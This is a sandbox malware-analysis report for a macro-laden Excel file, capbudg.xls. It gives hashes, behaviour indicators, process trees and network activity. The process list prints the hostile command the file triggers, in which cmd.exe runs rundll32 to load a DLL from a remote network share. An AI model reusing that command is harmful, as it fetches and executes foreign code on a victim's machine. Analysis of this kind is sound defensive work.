Malware analysis capbudg.xls Malicious activity | ANY.RUN

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File name:	capbudg.xls
Full analysis:	https://app.any.run/tasks/29542be5-75de-4ea2-b4e1-b07fbe075bdb
Verdict:	Malicious activity
Analysis date:	March 08, 2025, 06:32:07
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	macros macros-on-open
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Aswath Damodaran, Last Saved By: PC-Windows10, Create Time/Date: Wed Nov 15 22:33:24 2000, Last Saved Time/Date: Wed Jun 29 17:16:22 2022, Security: 0
MD5:	F6517B0A49BB245E1983D77D2F5B2F98
SHA1:	696C669D87749782599454D202C41137DE888355
SHA256:	360A066A630D0C85D89F22700329BF0C5C15D8B264A3C6C28AFF7791602F72E6
SSDEEP:	768:AH28TTMoua4T8otSPszzSUx5y+EAfB1mny1Wm1O:AH28TTMoKwossDdmI1

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Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Microsoft Office executes commands via PowerShell or Cmd
  - EXCEL.EXE (PID: 1276)
- Unusual execution from MS Office
  - EXCEL.EXE (PID: 1276)
- Starts CMD.EXE for commands execution
  - EXCEL.EXE (PID: 1276)
SUSPICIOUS
- Uses RUNDLL32.EXE to load library
  - cmd.exe (PID: 1040)
- Runs shell command (SCRIPT)
  - EXCEL.EXE (PID: 1276)
INFO
- Checks proxy server information
  - BackgroundTransferHost.exe (PID: 8076)
- Creates files or folders in the user directory
  - BackgroundTransferHost.exe (PID: 8076)
- Reads security settings of Internet Explorer
  - BackgroundTransferHost.exe (PID: 7852)
  - BackgroundTransferHost.exe (PID: 8076)
  - BackgroundTransferHost.exe (PID: 6372)
  - BackgroundTransferHost.exe (PID: 1088)
  - BackgroundTransferHost.exe (PID: 7412)
- Reads the software policy settings
  - BackgroundTransferHost.exe (PID: 8076)

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (48)
.xls	\|	Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Title:	-
Subject:	-
Author:	Aswath Damodaran
Keywords:	-
Comments:	-
LastModifiedBy:	PC-Windows10
Software:	-
CreateDate:	2000:11:15 22:33:24
ModifyDate:	2022:06:29 17:16:22
Security:	None
CodePage:	Windows Latin 1 (Western European)
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	Instruction CapBudgWS
HeadingPairs:	Worksheets 2
CompObjUserTypeLen:	32
CompObjUserType:	Microsoft Excel 2003 Worksheet

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Total processes

147

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID	CMD	Path	Indicators	Parent process
1040	cmd.exe /c rundll32.exe "\\192.168.50.104\KhUd\test.dll",0"	C:\Windows\System32\cmd.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800)
1088	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1	C:\Windows\System32\BackgroundTransferHost.exe	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800)
1276	"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" C:\Users\admin\Desktop\capbudg.xls	C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE		explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 16.0.16026.20146
2552	\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1	C:\Windows\System32\conhost.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800)
6372	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1	C:\Windows\System32\BackgroundTransferHost.exe	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800)
7216	C:\WINDOWS\system32\SppExtComObj.exe -Embedding	C:\Windows\System32\SppExtComObj.Exe	—	svchost.exe
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800)
7260	"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent	C:\Windows\System32\slui.exe	—	SppExtComObj.Exe
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800)
7412	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1	C:\Windows\System32\BackgroundTransferHost.exe	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800)
7852	"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1	C:\Windows\System32\BackgroundTransferHost.exe	—	svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Download/Upload Host Exit code: 1 Version: 10.0.19041.3636 (WinBuild.160101.0800)
7932	rundll32.exe "\\192.168.50.104\KhUd\test.dll",0"	C:\Windows\System32\rundll32.exe	—	cmd.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Version: 10.0.19041.1 (WinBuild.160101.0800)

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Total events

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
8076	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\f81e052d-a6c6-4393-b6f8-f632a690acc2.down_data		—
		MD5:—	SHA256:—
1276	EXCEL.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\D235A6A3-9B70-463E-87C7-BE0F823787DF		xml
		MD5:DF372AD4EF026260935E94642A00F26F	SHA256:52F32EA47E630613A1267AE20653A284B4695BBD624EE98BAD58F135B5A0A63C
1276	EXCEL.EXE	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04		binary
		MD5:36614131E7D219481F6732E91C9F8EEB	SHA256:B4DE6CA9769C6B5428B79CCD992C50BD9C40FD892DE8CE26863BD547A6DDF6ED
8076	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\MetaData\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D		binary
		MD5:FFB91F0500EED963A26E625FBE8EFF58	SHA256:51259416C71D9F5C9F96C889A29A39C8440C4D8C4E11E733E33C643C755F27D3
1276	EXCEL.EXE	C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres		binary
		MD5:3FEEC6D13EA1E4BDFC3254DAD4D4E9EF	SHA256:8842D0F754F26ACDAE90B3610BDB5FF744A29BEE604D8A89172BBEA7DC646132
8076	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\cd5451ef-4435-4793-ac48-57a6d078e69f.up_meta_secure		binary
		MD5:145C22570D7ECC9005E5C7FF80190C95	SHA256:EB4E91E75CA5A1A08F91D75D744FF7269B516D4D5CEA381841745B1291397902
8076	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\cd5451ef-4435-4793-ac48-57a6d078e69f.8be928ad-c727-43fb-8da1-65181746dbc8.down_meta		binary
		MD5:7B3E448F7D555A32FA8FE3897DEE9A2F	SHA256:7F9BA4B799B6C08CC1F3E510386959591B918E6163A0CBEE08D78E1341D0C978
1276	EXCEL.EXE	C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04		binary
		MD5:A10A49A693DAFC0DFA071FC61287B9A3	SHA256:67A1EFAE96115B47E5CEF99D363C1B102636F6FD7C7C7E328847933C8521F7AE
1276	EXCEL.EXE	C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres		binary
		MD5:4B3B1EDFEC3DCE02F2DC6864D1E1280E	SHA256:32535BB43CDF2E8CB4B1F08969E2FF3A545DC56FC51650219FA0D408640FEB87
8076	BackgroundTransferHost.exe	C:\Users\admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\Microsoft\CryptnetUrlCache\Content\26C212D9399727259664BDFCA073966E_F9F7D6A7ECE73106D2A8C63168CDA10D		binary
		MD5:7C48C30BA63B689902BB426C7A0DDC09	SHA256:32716D5FC0139B83464450DC3B8550672E5530480DCA1050D2606F95DFDF67EB

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
6544	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
3768	backgroundTaskHost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D	unknown	—	—	whitelisted
8076	BackgroundTransferHost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
1276	EXCEL.EXE	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D	unknown	—	—	whitelisted
1276	EXCEL.EXE	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D	unknown	—	—	whitelisted
3176	SIHClient.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
3176	SIHClient.exe	GET	200	2.23.246.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:138	—	—	—	whitelisted
—	—	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5496	MoUsoCoreWorker.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
2104	svchost.exe	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
3216	svchost.exe	40.115.3.253:443	client.wns.windows.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted
6544	svchost.exe	20.190.159.71:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6544	svchost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
3768	backgroundTaskHost.exe	20.223.35.26:443	arc.msn.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
3768	backgroundTaskHost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted
2104	svchost.exe	20.73.194.208:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted

DNS requests

Domain	IP	Reputation
google.com	142.250.184.206	whitelisted
settings-win.data.microsoft.com	4.231.128.59 20.73.194.208	whitelisted
client.wns.windows.com	40.115.3.253	whitelisted
login.live.com	20.190.159.71 20.190.159.130 20.190.159.75 20.190.159.64 20.190.159.23 40.126.31.131 40.126.31.129 20.190.159.73	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
arc.msn.com	20.223.35.26	whitelisted
www.bing.com	2.23.227.208 2.23.227.215	whitelisted
officeclient.microsoft.com	52.109.89.18	whitelisted
ecs.office.com	52.123.129.14 52.123.128.14	whitelisted
roaming.officeapps.live.com	52.109.76.243	whitelisted

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General Info

capbudg.xls

F6517B0A49BB245E1983D77D2F5B2F98

696C669D87749782599454D202C41137DE888355

360A066A630D0C85D89F22700329BF0C5C15D8B264A3C6C28AFF7791602F72E6

768:AH28TTMoua4T8otSPszzSUx5y+EAfB1mny1Wm1O:AH28TTMoKwossDdmI1

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MALICIOUS

Microsoft Office executes commands via PowerShell or Cmd

Unusual execution from MS Office

Starts CMD.EXE for commands execution

SUSPICIOUS

Uses RUNDLL32.EXE to load library

Runs shell command (SCRIPT)

INFO

Checks proxy server information

Creates files or folders in the user directory

Reads security settings of Internet Explorer

Reads the software policy settings

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